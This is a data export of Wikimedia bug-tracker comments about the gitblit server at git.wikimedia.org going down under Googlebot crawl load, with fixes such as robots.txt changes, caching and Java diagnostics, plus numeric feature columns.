242769,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Maybe http://git.zx2c4.com/cgit/about/ might be an alternative to gitblit as its main design criterion is speed and caching.,,,1396988983,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.388888888888889,1.0,Maybe URL might be an alternative to gitblit as its main design criterion is speed and caching.
242764,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"Just a heads-up: Upstream in https://code.google.com/p/gitblit/issues/detail?id=274 asks ""for discussion with Wikimedia folks on how to improve caching since the current strategy is not ideal"".",,,1378204045,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.966666666666667,0.9666666666666667,"Just a heads-up: Upstream in URL asks ""for discussion with Wikimedia folks on how to improve caching since the current strategy is not ideal""."
242757,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"max semenik reported that gitblit should mark critical links with rel=""nofollow""",,,1376771529,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.833333333333333,1.0,"max semenik reported that gitblit should mark critical links with rel=""nofollow"""
242749,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,mark configured the misc varnish cluster for gitblit: https://gerrit.wikimedia.org/r/#/c/78262/,,,1376771436,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.9,1.0,mark configured the misc varnish cluster for gitblit: URL
242741,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"browser cache problem reported upstream and fixed, see here:
https://code.google.com/p/gitblit/issues/detail?id=274",,,1376771021,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,1.0,"browser cache problem reported upstream and fixed, see here:
URL"
242733,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"https://gerrit.wikimedia.org/r/#/c/78919/

As soon as the bot picks up th new copy of the robots.txt file that should take care of it for now.",,,1376373844,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,20.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,3.32,0.92,"URL

As soon as the bot picks up th new copy of the robots.txt file that should take care of it for now."
242731,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,faidon lambiotis restarted it a couple of hours ago withoutout tracing it seems? and now its dead again.,,,1376345034,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,10.0,5.0,0.0,0.0,15.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.35,0.95,faidon lambiotis restarted it a couple of hours ago withoutout tracing it seems? and now its dead again.
242729,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Stupid question: is crawl-delay in robots.txt worth trying?,,,1376334890,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.333333333333333,1.0,Stupid question: is crawl-delay in robots.txt worth trying?
242727,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"before restarting the java process, could you trace it with:
* jps -l to find out the process id
* strace to see if it excessivly calls into the operating system
* jstack
* kill -QUIT <p> to print the stacktrace
* jmap -heap <p> to find memory usage
* jmap -histo:live <p> | head to find excessivly used classes
* if you have ui, you might try jconsole or http://visualvm.java.net as well

you might want to set the java -XX:+HeapDumpOnOutOfMemoryError parameter when starting, so it writes a heap dump early enough. it can be analyzed with jhat.",,,1376253536,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.5,4.0,8.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.5,2.5,1.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,16.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.5,1.0,1.0,2.0,1.5,3.5,0.0,0.0,0.0,0.0,9.0,0.5,0.0,0.0,5.5,8.0,4.0,0.0,0.0,0.0,5.5,0.0,1.0,1.0,0.0,1.5,0.0,0.0,5.5,3.6051912568306013,0.7610655737704918,"before restarting the java process, could you trace it with:
* jps -l to find out the process id
* strace to see if it excessivly calls into the operating system
* jstack
* kill -QUIT <p> to print the stacktrace
* jmap -heap <p> to find memory usage
* jmap -histo:live <p> | head to find excessivly used classes
* if you have ui, you might try jconsole or URL as well

you might want to set the java -XX:+HeapDumpOnOutOfMemoryError parameter when starting, so it writes a heap dump early enough. it can be analyzed with jhat."
242724,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,down again at the moment... i think gitblit might behave nicer in case bots overloading it.,,,1376218114,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,4.222222222222222,1.0,down again at the moment... i think gitblit might behave nicer in case bots overloading it.
242718,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Back up again at the moment...,,,1376185946,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,Back up again at the moment...
242713,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #34)
> created a bug at gitblit:
> https://code.google.com/p/gitblit/issues/detail?id=294.

No need for that, I've already been in contact with upstream. It's mainly being overloaded from Googlebot.",,,1376176292,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,6.0,17.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9142857142857143,"(In reply to comment #34)
QUOTE
QUOTE

No need for that, I've already been in contact with upstream. It's mainly being overloaded from Googlebot."
242708,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,created a bug at gitblit: https://code.google.com/p/gitblit/issues/detail?id=294.,,,1376168077,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,created a bug at gitblit: URL
242704,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"As reported by OsamaK last night in #wikimedia-tech and again today by rupert THURNER on wikitech-l (and I personally confirmed last evening), git.wikimedia.org is down yet again.

---
$ time curl https://git.wikimedia.org/
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>

real	12m1.522s
user	0m0.010s
sys	0m0.026s
---",,,1376146093,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.5,7.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,0.5,10.0,0.0,1.0,3.5,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,1.0,4.0,11.5,0.0,1.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,12.5,4.110613810741688,0.6856351236146633,"As reported by OsamaK last night in #wikimedia-tech and again today by rupert THURNER on wikitech-l (and I personally confirmed last evening), git.wikimedia.org is down yet again.

---
$ time curl URL
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>

real	12m1.522s
user	0m0.010s
sys	0m0.026s
---"
242697,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"For the records: https://gerrit.wikimedia.org/r/#/c/78243/
(By the way: Ariel & Daniel, thanks for keeping this ticket updated.)",,,1376021981,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,22.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.3043478260869565,0.9130434782608695,"For the records: URL
(By the way: Ariel & Daniel, thanks for keeping this ticket updated.)"
242691,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,chad fixed up service of robots.txt and we've unblocked the google bot.  Waiting for verification that google has picked up the file and we'll see how performance looks after that.,,,1375978732,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,6.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,17.0,9.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,4.314285714285714,0.8,chad fixed up service of robots.txt and we've unblocked the google bot.  Waiting for verification that google has picked up the file and we'll see how performance looks after that.
242685,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,(Resetting severity & priority as long as things are working again.),,,1375952067,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.142857142857143,0.9285714285714286,(Resetting severity & priority as long as things are working again.)
242680,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"merged this:

https://gerrit.wikimedia.org/r/#/c/77909/1/templates/apache/sites/git.wikimedia.org.erb

and:

08:42 mutante: on overloaded antimony: stopped gitblit, ran puppet, blocked Googlebot, restarted apache and gitblit
08:22 mutante: git.wikimedia.org back
08:21 mutante: attempted to restart gitblit on antimony 

01:44 < mutante> apergos: oh.. Googlebot-Image/1.0 != Googlebot ?
01:44 < apergos> no
01:44 < apergos> googlebot is the one that rate limited
01:44 < apergos> that should be enough, it's the /zip/ paths primarily that were the problem
01:44 < mutante> Googlebot-Image is the one still being very active
01:44 < mutante> ok
01:44 < apergos> it's minor compared to the rest
01:44 < mutante> alright
01:44 < apergos> I did a count from the logs yeasterday
01:45 < mutante> now YandexBot kicking in :)
01:45 < apergos> please note it on the bz report so we don't forget
01:46 < mutante> java CPU usage isn't > 500% anymore though :)",,,1375951706,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.5,0.0,1.0,2.5,3.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,4.5,5.0,0.0,0.5,0.5,0.0,0.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,13.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,4.0,3.0,5.0,1.0,1.0,5.0,0.0,0.5,0.5,0.0,2.0,1.0,8.5,0.0,2.5,5.0,11.5,0.5,0.0,0.0,2.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,11.5,3.8092783505154637,0.5773195876288659,"merged this:

URL

and:

08:42 mutante: on overloaded antimony: stopped gitblit, ran puppet, blocked Googlebot, restarted apache and gitblit
08:22 mutante: git.wikimedia.org back
08:21 mutante: attempted to restart gitblit on antimony 

01:44 < mutante> apergos: oh.. Googlebot-Image/1.0 != Googlebot ?
01:44 < apergos> no
01:44 < apergos> googlebot is the one that rate limited
01:44 < apergos> that should be enough, it's the /zip/ paths primarily that were the problem
01:44 < mutante> Googlebot-Image is the one still being very active
01:44 < mutante> ok
01:44 < apergos> it's minor compared to the rest
01:44 < mutante> alright
01:44 < apergos> I did a count from the logs yeasterday
01:45 < mutante> now YandexBot kicking in :)
01:45 < apergos> please note it on the bz report so we don't forget
01:46 < mutante> java CPU usage isn't > 500% anymore though :)"
242675,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"Turns out that we were serving an empty robots.txt even though there is content. Logs show lots of:
[Wed Aug 07 21:44:15 2013] [error] [client XXX.XXX.XXX.XXX] proxy: Error reading from remote server returned by /robots.txt

Chad says this is likely due to some fancy proxy rewriting sending everything to gitblit.  In the meantime the google folks have cut back both parallel open connections and req/sec until we have this sorted and can give them the heads up.",,,1375913787,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,1.0,1.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,14.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,7.0,2.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,14.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,3.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,4.0,14.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,5.0,4.138297872340425,0.8297872340425532,"Turns out that we were serving an empty robots.txt even though there is content. Logs show lots of:
[Wed Aug 07 21:44:15 2013] [error] [client XXX.XXX.XXX.XXX] proxy: Error reading from remote server returned by /robots.txt

Chad says this is likely due to some fancy proxy rewriting sending everything to gitblit.  In the meantime the google folks have cut back both parallel open connections and req/sec until we have this sorted and can give them the heads up."
242669,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"I'm talking to the folks at google about it, will update as soon as I have more info.",,,1375906393,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,19.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,19.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.238095238095238,0.9047619047619048,"I'm talking to the folks at google about it, will update as soon as I have more info."
242664,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Google is the one misbehaving.,,,1375825195,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Google is the one misbehaving.
242658,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #24)
> > Do the misbehaving bots respect robots.txt?
> 
> Nope.

Just to be clear, I hope that you block whatever wished and needed except Google (so that we have at least one search engine).",,,1375823311,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,19.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,9.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,7.0,19.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.3488372093023258,0.813953488372093,"(In reply to comment #24)
QUOTE
QUOTE
QUOTE

Just to be clear, I hope that you block whatever wished and needed except Google (so that we have at least one search engine)."
242653,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #23)
> (In reply to comment #22)
> > So bots aren't going to be allowed to index gitblit anymore since they can't
> > seem to behave.
> 
